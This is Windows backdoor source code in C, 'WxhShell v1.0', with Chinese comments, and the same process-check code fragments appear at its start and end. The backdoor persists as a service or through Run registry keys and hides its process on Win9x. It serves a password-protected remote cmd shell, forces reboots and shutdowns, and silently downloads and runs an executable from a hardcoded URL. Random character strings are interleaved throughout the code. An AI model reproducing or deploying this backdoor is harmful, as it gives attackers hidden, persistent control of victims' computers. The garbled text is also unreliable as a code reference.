PROCNTQSIP NtQueryInformationProcess; HhhN8t D' ZR>@w@ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hU3c;6]3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L&MR%5 6C4c.+S HANDLE hProcess; C$SuFL(pb PROCESS_BASIC_INFORMATION pbi; g2JNa?z [U]U *x HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v{$X2z_$w if(NULL == hInst ) return 0; /qed_w.p 57* z0< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Gx%PQ` g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wUW^
O NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rS\j9@=Y4 fPZt*A__ if (!NtQueryInformationProcess) return 0; 0z #'=XWk )."_i64 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6x)7=_:0 if(!hProcess) return 0; CeSr~Ikg| ynvU$}w ~' if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hgu$)yhlj f
<fa+fB CloseHandle(hProcess); %B}Q .' Hdw;=]- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C=IT`iom1C if(hProcess==NULL) return 0; &YGd!Q ;e415T HMODULE hMod; 9+nB;vA char procName[255]; i#Io; unsigned long cbNeeded; m~'! Yrs7F.Y" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NQz*P.q JGOry \ CloseHandle(hProcess); @X+m,u %OB:lAeJ if(strstr(procName,"services")) return 1; // 以服务启动 1PpZ*YK3z d00#;R return 0; // 注册表启动 uf]SPG#/D } <k!M+}a 9V #<s6L"Z- // 主模块 2-728 int StartWxhshell(LPSTR lpCmdLine) ukpbx;O:hc { {^=T&aCYdS SOCKET wsl; "s]r"(MX BOOL val=TRUE; T\I}s"d int port=0; 3)88B"E struct sockaddr_in door; g>-pC a 3O7]~5 j1 if(wscfg.ws_autoins) Install(); pYf57u WHeyE3}p port=atoi(lpCmdLine); z/!LC;( 7/+I"~ if(port<=0) port=wscfg.ws_port; ;$,=VB:' cWjb149@) WSADATA data; p.6C.2q~s] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -}Zck1 @W6:JO if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; WfpQ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fb-Lp#!T39 door.sin_family = AF_INET; q;Tdqv!Ju door.sin_addr.s_addr = inet_addr("127.0.0.1"); WD#
96V door.sin_port = htons(port); + Ac.@!X}% ~k\Dde if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WJWi'|C4 closesocket(wsl); k-IL%+U return 1; .2"-N5Z } m:B9~lbT+
E@ J/_l; if(listen(wsl,2) == INVALID_SOCKET) { M2H +1ic closesocket(wsl); uonCD8 return 1; 60,z! Vv } T<yAfnTb` Wxhshell(wsl); X-LCIT|1 WSACleanup(); M.fAFL
'yxN1JF return 0; O+x"c3@Z)D $`j%z@[g } WX
.Ax$fT Zc 9@G- // 以NT服务方式启动 K&ZN!VN/p VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) } I>6 8dS[ { !C\$=\$ DWORD status = 0; 9d&@;&al DWORD specificError = 0xfffffff; ^POHQQ ypU-/}Cf, serviceStatus.dwServiceType = SERVICE_WIN32; dUN{@a\R0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; '
`
_TFTO serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4>
k"$l/: serviceStatus.dwWin32ExitCode = 0; q9Zp8&<EqH serviceStatus.dwServiceSpecificExitCode = 0; T_R2BBT
v
serviceStatus.dwCheckPoint = 0; F!7dGa$ serviceStatus.dwWaitHint = 0; `eZzYe(N YTpiOPf hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QN47+)cVt" if (hServiceStatusHandle==0) return; Vu.VH([b]Q &O
+?#3 status = GetLastError(); /tm2b<G if (status!=NO_ERROR) n(I,pF { "DaE(S& serviceStatus.dwCurrentState = SERVICE_STOPPED; "&Hr)yyWG serviceStatus.dwCheckPoint = 0; 1lo.X_ serviceStatus.dwWaitHint = 0; Q$+6f,m#W serviceStatus.dwWin32ExitCode = status; u7&q(Z&&O serviceStatus.dwServiceSpecificExitCode = specificError; +YZ*>ki SetServiceStatus(hServiceStatusHandle, &serviceStatus); F m?j-' return; yY[9\! } q QcQnd2K mR["xDHD serviceStatus.dwCurrentState = SERVICE_RUNNING; )<Fq}Q86 serviceStatus.dwCheckPoint = 0; 4)"S/u serviceStatus.dwWaitHint = 0; dG&^M".( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >{6U1ft): } ~c,CngeL0 nuKcq!L // 处理NT服务事件,比如:启动、停止 "@z X{^: VOID WINAPI NTServiceHandler(DWORD fdwControl) Emy=q5ryl { &F-
\t5X=i switch(fdwControl) QPX&P{!g { cwuzi;f case SERVICE_CONTROL_STOP: =6Fpixq> serviceStatus.dwWin32ExitCode = 0; )ifjK6* serviceStatus.dwCurrentState = SERVICE_STOPPED; :FT x#cZ serviceStatus.dwCheckPoint = 0; U$yy7}g serviceStatus.dwWaitHint = 0; QyghNImp { (}g4}A@x SetServiceStatus(hServiceStatusHandle, &serviceStatus); b5Q|$E } hrNB"W|?x return; GYZP?E p* case SERVICE_CONTROL_PAUSE: f=k_U[b4> serviceStatus.dwCurrentState = SERVICE_PAUSED; 0$A^ .M; break; Hf/ZaBn case SERVICE_CONTROL_CONTINUE: JDJ"D\85 serviceStatus.dwCurrentState = SERVICE_RUNNING; u6nO\.TTtY break; +m9ouF case SERVICE_CONTROL_INTERROGATE: }!Y=SP1e break; N5[^W`Qf }; HQvJ*U4++ SetServiceStatus(hServiceStatusHandle, &serviceStatus); pMHF u/|Pr } ;NOmI+t0w& ;,8 )%[ // 标准应用程序主函数 }u9#S int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "1YwV~M5 { V7b;qC' _ amP:h // 获取操作系统版本 {J1iheuS} OsIsNt=GetOsVer(); =t^jlb GetModuleFileName(NULL,ExeFile,MAX_PATH); O1D|T"@ rFUR9O.{E // 从命令行安装 cJMi`PQ; if(strpbrk(lpCmdLine,"iI")) Install(); ?7>"ZGDe> Ptz##o'{5 // 下载执行文件 FsO_|r if(wscfg.ws_downexe) { y8_$YA/g if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b)@D@K"5 WinExec(wscfg.ws_filenam,SW_HIDE); ?3lAogB } ph}%Ay$ 2x>7>;> if(!OsIsNt) { a^={X<K|/ // 如果时win9x,隐藏进程并且设置为注册表启动 MyZVx|7E HideProc(); ~-<MoCm! StartWxhshell(lpCmdLine); 2X<%BFsE } %x.du9 else ]1FLG*sB if(StartFromService()) 0 N"N$f // 以服务方式启动 'W,*mfB StartServiceCtrlDispatcher(DispatchTable); IyI0|&r2A else
1fvN[ // 普通方式启动 PB
*v45 StartWxhshell(lpCmdLine); []v$QR&u#v "fr{:'HX return 0; Uks%Mo9on } h%U}Y5Ps~ 3. @LAF $ay!'MK0d 43x2BW&& =========================================== RC}m]!Uz w3ATsIw _p>F43%p O wuc9 &r.M~k
> C{,^4Eh3r " 9dw*
++ KF6C=,Yc% #include <stdio.h> p^|6 /b #include <string.h> wZZ~!"O& #include <windows.h> N8pV[\f #include <winsock2.h> ,f{w@Er #include <winsvc.h> HMC-^4\%[ #include <urlmon.h> =n5n _Dd>e=v #pragma comment (lib, "Ws2_32.lib") 5F+G8 #pragma comment (lib, "urlmon.lib") T60pw jz`3xFy *] #define MAX_USER 100 // 最大客户端连接数 y=c={Qz@vn #define BUF_SOCK 200 // sock buffer
gyMHC{l/B #define KEY_BUFF 255 // 输入 buffer iGSA$U P| 67hfv e #define REBOOT 0 // 重启 gROK4'j6y #define SHUTDOWN 1 // 关机 0^R, d M WQ 2{`'z #define DEF_PORT 5000 // 监听端口 %YK xdp ywl=@ #define REG_LEN 16 // 注册表键长度 #bBh. ^ #define SVC_LEN 80 // NT服务名长度 UOsK(mB d&CpaOSu // 从dll定义API &&m3E=K!^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /!2`pv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H<[~V0= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]/kpEx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i^e8.zgywF F|{uA/P{ // wxhshell配置信息 3rB0H
struct WSCFG { ,,BP}f+l$ int ws_port; // 监听端口 =/_u k{ char ws_passstr[REG_LEN]; // 口令 +}N'Xa/Jt int ws_autoins; // 安装标记, 1=yes 0=no t/Y0e#9, char ws_regname[REG_LEN]; // 注册表键名 Bcarx<P-p char ws_svcname[REG_LEN]; // 服务名 Yb-{+H8{J char ws_svcdisp[SVC_LEN]; // 服务显示名 Gc"hU:m char ws_svcdesc[SVC_LEN]; // 服务描述信息 E(j#R" char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P
woiX#vz int ws_downexe; // 下载执行标记, 1=yes 0=no t))MZw&@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =qc+sMo char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hrtz>qN !ig&8: }; GLyPgZ`| :^WF%X // default Wxhshell configuration G~o!u8^; struct WSCFG wscfg={DEF_PORT, }rI:pp^KS "xuhuanlingzhe", njf\fw_ 1, C<AW)|r_ "Wxhshell", &n
)MGg1% "Wxhshell", &:g:7l]g "WxhShell Service", (z>t 4(%\ "Wrsky Windows CmdShell Service", i?Pnyi "Please Input Your Password: ", ^l|b>z"0ao 1, Kc?4q=7q "http://www.wrsky.com/wxhshell.exe", ^L5-2;s<U' "Wxhshell.exe" 3q}j"x? }; Jr( =Y@Z' 4[@YF@_=M // 消息定义模块 t|eH'"N%o char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EC;>-s char *msg_ws_prompt="\n\r? for help\n\r#>"; Cp(2]Eb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Nw'03Jzx_ char *msg_ws_ext="\n\rExit."; '"fJA/O char *msg_ws_end="\n\rQuit."; v8*)^-Fx char *msg_ws_boot="\n\rReboot..."; i-Rn,}v char *msg_ws_poff="\n\rShutdown..."; 6ki2/ Q char *msg_ws_down="\n\rSave to "; ^APtV6g EM*I%|n@m char *msg_ws_err="\n\rErr!"; P2a5<#_| char *msg_ws_ok="\n\rOK!"; nq]6S$3
6 <-!1`@l> char ExeFile[MAX_PATH]; :${tts2g int nUser = 0; #G77q$ HANDLE handles[MAX_USER]; UMR ?q0J int OsIsNt; vUJ;D 0mujf SERVICE_STATUS serviceStatus; /@k#tdj SERVICE_STATUS_HANDLE hServiceStatusHandle; M&j|5UH%. ]~I+d/k
d // 函数声明 ~_vSMX int Install(void); Ztg_='n int Uninstall(void); 9Q%lS int DownloadFile(char *sURL, SOCKET wsh); \"oZ\_ int Boot(int flag); x{SlJ%V void HideProc(void); T:$^1"\ int GetOsVer(void); u1$6:"2@5k int Wxhshell(SOCKET wsl); (MI>7| '; void TalkWithClient(void *cs); \4q|Qno8 int CmdShell(SOCKET sock); qK a}O* int StartFromService(void); +T$Olz int StartWxhshell(LPSTR lpCmdLine); &\N>N7/1 teg5g|* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O`9c!_lis VOID WINAPI NTServiceHandler( DWORD fdwControl ); gHLI>ew*QR JP5e=Z< // 数据结构和表定义 E(P
6s;LZ SERVICE_TABLE_ENTRY DispatchTable[] = 3&+dyhL'w { Z5>~l {wscfg.ws_svcname, NTServiceMain}, D#b*M)X" {NULL, NULL} &2y4k"B&) }; ::oFL#+ Kd`(^ // 自我安装 a)JXxst int Install(void) VTu#)I7A^@ { ;Zd_2CZ char svExeFile[MAX_PATH]; N
$) G8 HKEY key; #m.e9MU strcpy(svExeFile,ExeFile); v
49o$s4J RW L0@\ // 如果是win9x系统,修改注册表设为自启动 C7FQc{ if(!OsIsNt) { y4Jc|) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I_ mus<sE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IC0L&;En RegCloseKey(key); dT|f<E/P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tp] 5[U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P35DVK S RegCloseKey(key); Dcvul4Q return 0; tk%f_"} } `FMo;,j } ?8-!hU@QC } 'q-q4QCB else { zl@^[km{ z%YNZ^d // 如果是NT以上系统,安装为系统服务 KGy3#r;Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [s>3xWZ+a if (schSCManager!=0) il5C9ql$ { KdR4<qVV} SC_HANDLE schService = CreateService 8%7%[WC# ( EL?(D schSCManager, );gY8UL^ wscfg.ws_svcname, /|
v.A\: wscfg.ws_svcdisp, xm{]|~^JG SERVICE_ALL_ACCESS, KNx/1lf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Cs6`lX > SERVICE_AUTO_START, 1Z# $X` SERVICE_ERROR_NORMAL, 2I-d.{ svExeFile,
b/'bhE= NULL, ^c\O,*: NULL, S}@7Z` NULL,
RV~fml9c NULL, ,n/]ALz>~ NULL n[3z_QI ); c{=Sy;i@ if (schService!=0) F^yW3|Sb { =_dM@ j CloseServiceHandle(schService); E]@&<TFq CloseServiceHandle(schSCManager); cE]z Tu?! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QtW9!p7( strcat(svExeFile,wscfg.ws_svcname); l 00i2w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \;{ ]YX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <Ua~+U(FR0 RegCloseKey(key); iq; |
i! return 0; W0gS>L_ } 8rsc@]W } 3( BL CloseServiceHandle(schSCManager); s6 yvq#: } P(D>4/f3" } ?xj8a3F ")Fd'&58 return 1; v)5;~.+% } #J[g
r_ l/N<'T_G // 自我卸载 *S;}&VAZ int Uninstall(void) [b++bCH3 { 2 2v"?* HKEY key; 8M5)fDu*? \"O5li3n if(!OsIsNt) { d0aXA+S% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LqWiw24# RegDeleteValue(key,wscfg.ws_regname); ]rG=\>U3~ RegCloseKey(key); bY~K)j
v3& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {T4_Xn -I RegDeleteValue(key,wscfg.ws_regname); /@9Q:'P RegCloseKey(key); pv]@}+<Dt return 0; g NI1W@) }
t ed:] } ytcLx77`: } <XeDJ8
' else { N^;lp<{6? J
n.7W5v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iXWHI3
if (schSCManager!=0) uKJ:)oyaCP { 4$Ai!a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B{Cm`f8E if (schService!=0) R$:-~<O { @@Q4{o if(DeleteService(schService)!=0) { cC*WZ] CloseServiceHandle(schService); 7P{= Pv+ CloseServiceHandle(schSCManager); 6r~9$IM return 0; q%3VcR$J } w~]2c{\Qz CloseServiceHandle(schService); P27Ot1px } ,HjJ jpE CloseServiceHandle(schSCManager); 3qWrSziD } }i+C)VUX } {Ydhplg{ D2ggFxqe return 1; 3p#UEH3 } LK h=jB^bT ktU:Uq // 从指定url下载文件 ) 57'< int DownloadFile(char *sURL, SOCKET wsh) x^y$ pr { khX/xL HRESULT hr; st w@@GQ char seps[]= "/"; 0}i
9`p char *token; lU1SN/'zx char *file; e@hPb$7 char myURL[MAX_PATH]; >@N.jw>#T char myFILE[MAX_PATH]; 1]}\h]* !&U75FpN}: strcpy(myURL,sURL); <$nPGz)} token=strtok(myURL,seps); Q=Q+*oog while(token!=NULL) d!I%AlV { +k=*AQt^8 file=token; ]@U?hD token=strtok(NULL,seps); SqAz(( } nDkG}JkB! (u?s@/e:`/ GetCurrentDirectory(MAX_PATH,myFILE); 5 H._Q strcat(myFILE, "\\"); 6C$+D strcat(myFILE, file); I gJu/{:y^ send(wsh,myFILE,strlen(myFILE),0); {V[xBL
< send(wsh,"...",3,0); |]kiH^Ap hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W8<QgpV* if(hr==S_OK) ,.Gp_BI return 0; ir^d7CV, else h#zm+( [B* return 1; i}T*| P as:=QMV } ei2?H;H; DS8HSSD // 系统电源模块 O!Ue0\1Kj0 int Boot(int flag) 2Wcu. { r,eH7&P9{ HANDLE hToken; q;SD+%tI TOKEN_PRIVILEGES tkp; t_/qd9Jv VmQ^F|
{ if(OsIsNt) { wo9R:kQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3r%v@8)!b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9No6\{[M
tkp.PrivilegeCount = 1; n[/D>Pi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l"8g9z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 88u[s@ if(flag==REBOOT) { thPAD+u.3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t(}Y /' return 0; 9ERdjS } 5T/+pC$e= else { {Lju7'5L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3\2&?VAjR return 0; >(:3H+ } z{R
Mb } ejg!1*H@n else { J#d,? if(flag==REBOOT) { .UxkTads if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y1`%3\ return 0; T3b0"o27 } }5E H67 else { 9Zx| L/\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A7QT4h&6 return 0; F]OWqUV } `@Z$+ } }r04*P( K81FKV. return 1; ~&/Nl_# } K%9!1' -/8V2dv3 // win9x进程隐藏模块 ;4+z~7Je]^ void HideProc(void) \1R*M { Xk:x=4u& hQ3@Cf W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $jk4H+H- if ( hKernel != NULL ) P'$2%P$8:~ { %4VM"C4[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tli*3YIw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s2sJJdN FreeLibrary(hKernel); ,ig`'U } Lh+7z>1 )~)T[S return; 8hV4l'Pa72 } :|l0x a 1xxTI{'g[ // 获取操作系统版本 BDN}`F[F int GetOsVer(void) JA >&$h { *h?*RUQ OSVERSIONINFO winfo; BDp(&=ktq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); axG%@5 GetVersionEx(&winfo); NrcV%-+u% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gC6Gm':c return 1; ~Q- /O~ else tm;\m!^X{ return 0; TPJuS)TU9 } V\Lh(zPt 7WV"Wrl] // 客户端句柄模块 %i&am= int Wxhshell(SOCKET wsl) MDpx@.A, { +MS*YpPW SOCKET wsh; fN`Prs A struct sockaddr_in client; -6q7ze{@ DWORD myID; BT:b&"AR[ 8pmWw? while(nUser<MAX_USER) 7x*L 1>[`' { 98}l`J=i int nSize=sizeof(client); ~LH).\V wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y(JZP\Tf_N if(wsh==INVALID_SOCKET) return 1; L#V e[ G$`hPNSh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $9@Z\0
if(handles[nUser]==0) ?:PF;\U closesocket(wsh); %AMF6l[ else *eAt ' nUser++; d.sn D)X } a/d8_(0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nQw, /Lk (!ud"A|ab4 return 0; &WbHM)_n } UuJ gB) Dhft[mvo // 关闭 socket ]VVx2ERs void CloseIt(SOCKET wsh) iA2TvP# { ]:6IW: closesocket(wsh); Kt#X'!9/< nUser--; (i)O@Jve ExitThread(0); \a:-xwUu< } u_=>r_J[b &I(3/u // 客户端请求句柄 $a')i<m^g void TalkWithClient(void *cs) yX\~{% { N8wA">u !&8B8jHqA SOCKET wsh=(SOCKET)cs; q_6<}2m,U char pwd[SVC_LEN]; 0@!-+}i char cmd[KEY_BUFF]; =rNI&K_< char chr[1]; S?H
qrf7< int i,j; Yu9(qRK c"'JMq while (nUser < MAX_USER) { $+
\JT/eG9 ;;17 #T2 if(wscfg.ws_passstr) { ds+0y;vc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =sXk,I; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e=6C0fr //ZeroMemory(pwd,KEY_BUFF); #w[Ie+ i=0; 0Q/BTT%X while(i<SVC_LEN) { S#D6mg$Z, JOq&(AZe // 设置超时 dqL)q 3 fd_set FdRead; i;<H^\% struct timeval TimeOut; yzCamm4~0 FD_ZERO(&FdRead); o
3 G* FD_SET(wsh,&FdRead); :2&W9v TimeOut.tv_sec=8; 4H%Ai(F}_ TimeOut.tv_usec=0; /;1h-Rc> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k5Df97\s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {Pi]i? Gy[m4n~Z5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;x=0+0JD pwd=chr[0]; fH
5/ if(chr[0]==0xd || chr[0]==0xa) { s4\_%je<v pwd=0; "Kn%|\YL@4 break; [1`&\C_E } <yEd'Z i++; [tz}H& } OEgp!J "\Nn,3qp // 如果是非法用户,关闭 socket G
Y ]bw if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2G`tS=Un } ~LN
{5zg AtlUxFX0S send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K<w$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U{.y X7 |NWo.j>4- while(1) { RS[QZOoW} lZ }H?n% ZeroMemory(cmd,KEY_BUFF); B}p{$g! }Ias7d?re // 自动支持客户端 telnet标准 q6>%1~? j=0; 5F|oNI}$: while(j<KEY_BUFF) { 6M_,4>
- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k|
,F/: cmd[j]=chr[0]; 1lQO`CmR6M if(chr[0]==0xa || chr[0]==0xd) { 4] I7t cmd[j]=0; vqJjAls break; S_56! } _0e;&2') j++; w+3-j } v|u[BmA)*k zH+a*R // 下载文件 3 At%TA: if(strstr(cmd,"http://")) { %FO#j 6 send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tf?|*P if(DownloadFile(cmd,wsh)) LYyOcb[x send(wsh,msg_ws_err,strlen(msg_ws_err),0); &,~Oi(SX5 else aRF}FE,u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G$$y\e$ } hE>%LcP else { dBMr%6tz r5g:#mF" switch(cmd[0]) { #Rcb
iV*M N3g\X // 帮助 5ki<1{aVtZ case '?': { KI{B<S3*Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h#rziZ( break; 6Z3L=j } u3ns-e // 安装 $UGX vCR case 'i': { #Z]l4d3{T if(Install()) Gg=Y}S7: send(wsh,msg_ws_err,strlen(msg_ws_err),0); "xKykSk else ?B~S4:9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gG6j>%y break; o\;cXuh } =;?afUj // 卸载 [GqQ6\ case 'r': { iSg^np if(Uninstall()) KN-)m ta& send(wsh,msg_ws_err,strlen(msg_ws_err),0); wz=c#}0dB else $@(+"
$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '6zD`Q break; %d#h<e|,. } -kz9KGkPb+ // 显示 wxhshell 所在路径 U}2b{ case 'p': { &;]KntxB char svExeFile[MAX_PATH]; -'mTSJ.} strcpy(svExeFile,"\n\r"); I8:A] strcat(svExeFile,ExeFile); yvp$s send(wsh,svExeFile,strlen(svExeFile),0); U sS"WflB break; HJeZm } eQqx0+-0c // 重启 TcM;6h` case 'b': { qmx4hs8sh send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s/0S]P]}f if(Boot(REBOOT)) DYFfq send(wsh,msg_ws_err,strlen(msg_ws_err),0); sV`!4
u7%} else { 7dbGUbT closesocket(wsh); ?(d<n ExitThread(0); oi:!YVc } NP^j5|A*" break; Oq3]ZUVa } KJ;;825? // 关机 `}Z`aK case 'd': { +<o}@hefY2 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >q7/zl if(Boot(SHUTDOWN)) 2=/,9ka~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \hr2#! else { wYAi-gdOi closesocket(wsh); \x9.[?;=e ExitThread(0); BL^\"Xh$| } |qFCzK9tD/ break; }5qpiS"V9 } 1ms(03dp // 获取shell oW
\k%Vj case 's': { &K.js CmdShell(wsh); yrVk$k#6} closesocket(wsh); vQ",rP% ExitThread(0); 7U,[Ruu break; \]=''C=J } M\rZr3 // 退出 kt;uB
X3 case 'x': { }a?( }{z- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X&14;lu%p CloseIt(wsh); g<(\# F}/ break; JRYCM}C] } Yfd0Np~ // 离开 *H({q`j33k case 'q': { &kp`1kv": send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q^!x8oUF closesocket(wsh); =)mA.j}E2 WSACleanup(); I->BDNk exit(1); ^ 9`O
^ break; =dM'n}@U
} &b:SDl6 } 64R~ $km } ?hh#@61
1@S(v L3a // 提示信息 0hr4}FL8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bD ADFitSo } JKy06I } f5o##ia7: F9PXQD( return; .:/[%q{k } dlJc~| G~nQR
qv // shell模块句柄 KqhE=2, int CmdShell(SOCKET sock) i_<GSUTTr/ { vg;9"A!( STARTUPINFO si; jH~VjE> ZeroMemory(&si,sizeof(si)); *)u%KYGr si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H05xt$J si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; % db PROCESS_INFORMATION ProcessInfo; V3v/hV: char cmdline[]="cmd"; J-d>#'Wb| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mP[Z lS~" return 0; Zv&<r+<g } Mv\]uAT` &r0U9J // 自身启动模式 T6M=BkcP int StartFromService(void) X 3q2XU { ~A$y-Dt'
typedef struct _y5J]Yu`j { ^={s(B2 DWORD ExitStatus;
Xn= DWORD PebBaseAddress; f{+n$Cos DWORD AffinityMask; ~U$ioQy< DWORD BasePriority; 7+;CA+; ULONG UniqueProcessId; /k^!hI"4c ULONG InheritedFromUniqueProcessId; :&`,T.N.vK } PROCESS_BASIC_INFORMATION; u%b.#! PSREQK@}E PROCNTQSIP NtQueryInformationProcess;
-?vII~a9y Bm4fdf#A] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
SodYb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
ow2tfylV ;%B:1Z HANDLE hProcess; teX)!N [ PROCESS_BASIC_INFORMATION pbi; '9XSz? D7|qFx;]g HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2qpUUo f if(NULL == hInst ) return 0; =" ;G&)H- 2`P=ekF] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `PS^o# g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q nmv?YXS NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `RHhc{ C7Ny-rj}IA if (!NtQueryInformationProcess) return 0; Gph:'3
